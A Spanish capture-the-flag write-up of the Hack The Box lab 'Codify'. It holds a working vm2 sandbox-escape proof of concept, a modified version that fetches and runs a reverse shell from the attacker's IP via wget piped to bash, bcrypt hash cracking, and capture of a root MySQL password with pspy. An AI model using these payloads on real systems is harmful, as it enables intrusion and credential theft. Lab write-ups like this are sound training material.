En Codify realizamos “bypass” a un sandbox vm2 lo que nos dio acceso a un primer usuario. Dentro, descubrimos una base de datos sqlite en la que obtuvimos el hash y acceso a un segundo usuario. Finalmente escalamos privilegios tras monitorear la ejecucion de un script que realizaba una conexion con MySQL.
Nombre |
Codify  |
OS |
Linux  |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.11.239 |
Maker |
kavigihan |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.2, 5, 5.3, 4.7, 5],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# Nmap 7.94 scan initiated Sat Nov 4 18:41:10 2023 as: nmap -p22,80,3000 -sV -sC -oN nmap_scan 10.129.155.61
Nmap scan report for 10.129.155.61
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 4 18:41:26 2023 -- 1 IP address (1 host up) scanned in 15.58 seconds
|
Web Site
El sitio web nos redirige al dominio codify.htb
el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
|
π ~/htb/codify ❯ curl -sI 10.129.155.61
HTTP/1.1 301 Moved Permanently
Date: Sat, 04 Nov 2023 22:41:47 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://codify.htb/
Content-Type: text/html; charset=iso-8859-1
π ~/htb/codify ❯
|
El sitio explica y expone una herramienta para probar node.js en un entorno de sandbox.

Tambien se describen limitaciones como modulos asi como tambien modulos que estan permitidos.

Observamos la ejecucion de una linea de codigo en el editor.

Sandbox Bypass
Encontramos un PoC para realizar bypass a un vm2 Sandbox, ejecutamos un whoami;id
modificando el PoC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('whoami;d');
}
`
console.log(vm.run(code));
|
Observamos el resultado de la ejecucion.

SVC - User
Modificamos el codigo nuevamente para ejecutar una shell inversa con shells.
1
2
3
4
5
6
7
8
|
// [ ... ]
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('wget -qO- 10.10.14.55:8000/10.10.14.55:1335|bash');
}
`
console.log(vm.run(code));
|
Tras la ejecucion obtuvimos una shell como svc.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
π ~/htb/codify ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.55] from codify.htb [10.129.155.61] 38788
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc@codify:~$ whoamiwhoami;id;pwd
svc
uid=1001(svc) gid=1001(svc) groups=1001(svc)
/home/svc
svc@codify:~$
|
Descubrimos una base de datos sqlite en /var/www/contact
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
svc@codify:/var/www/contact$ ls -lah
total 120K
drwxr-xr-x 3 svc svc 4.0K Sep 12 17:45 .
drwxr-xr-x 5 root root 4.0K Sep 12 17:40 ..
-rw-rw-r-- 1 svc svc 4.3K Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 76K Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4.0K Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20K Sep 12 17:45 tickets.db
svc@codify:/var/www/contact$ file tickets.db
file tickets.db
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:/var/www/contact$
|
Vemos que existe sqlite3 en la maquina, realizamos la conexion con el archivo y observamos que existe un unico usuario y se muestra el hash de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
svc@codify:/var/www/contact$ which which sqlite
svc@codify:/var/www/contact$ which which sqlite3
/usr/bin/sqlite3
svc@codify:/var/www/contact$ sqlite3
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open .open tickets.db
sqlite> .schem.schema
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
);
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
sqlite> select username,password from users;
joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite>
|
Crack The Hash
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash, observamos en texto plano la contrasena.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/codify ❯ john --wordlist=$ROCK hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
1g 0:00:00:54 DONE (2023-11-04 19:28) 0.01850g/s 25.31p/s 25.31c/s 25.31C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/codify ❯
|
User - Joshua
Observamos que el usuario joshua existe en la maquina.
1
2
3
4
5
|
svc@codify:/var/www/contact$ cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
svc@codify:/var/www/contact$
|
Ejecutamos su
para cambiar de usuario, obtuvimos acceso y nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
|
svc@codify:/var/www/contact$ su joshua
Password: spongebob1
joshua@codify:/var/www/contact$ whoami;id
joshua
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
joshua@codify:/var/www/contact$ cd
joshua@codify:~$ ls
user.txt
joshua@codify:~$ cat user.txt
e979914d4dd0a45f7bda4a79e4573fbe
joshua@codify:~$
|
Privesc
Joshua puede ejecutar como root el script mysql-backup.sh
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
joshua@codify:~$ sudo -l -l
[sudo] password for joshua: spongebob1
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User joshua may run the following commands on codify:
Sudoers entry:
RunAsUsers: root
Commands:
/opt/scripts/mysql-backup.sh
joshua@codify:~$
|
El script realiza la lectura de la contrasena en /root/.creds
utiliza esta para realizar un backup de la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
|
pspy - MySQL Password
Intentamos monitorear la ejecucion del script utilizando pspy
, ya que cuando se realiza la conexion con la base de datos utiliza la contrasena en el comando, por lo que es posible ver esta.
Ejecutamos el script con sudo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
joshua@codify:~$
|
Observamos que la contrasena se muestra en la ejecucion de mysql.
1
2
3
|
2023/11/05 00:23:49 CMD: UID=0 PID=45039 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 00:23:49 CMD: UID=0 PID=45038 | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2023/11/05 00:23:49 CMD: UID=0 PID=45040 | /usr/bin/echo Backing up database: mysql
|
Shell
Utilizamos esta contrasena para ejecutar su
logrando obtener acceso como root y finalmente nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
joshua@codify:~$ su
Password:
root@codify:/home/joshua# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@codify:/home/joshua# cd
root@codify:~# ls
root.txt scripts
root@codify:~# cat root.txt
0892cfddaa57cdb1fc8aceaad0cd4e1a
root@codify:~# cat .creds
kljh12k3jhaskjh12kjh3
root@codify:~#
|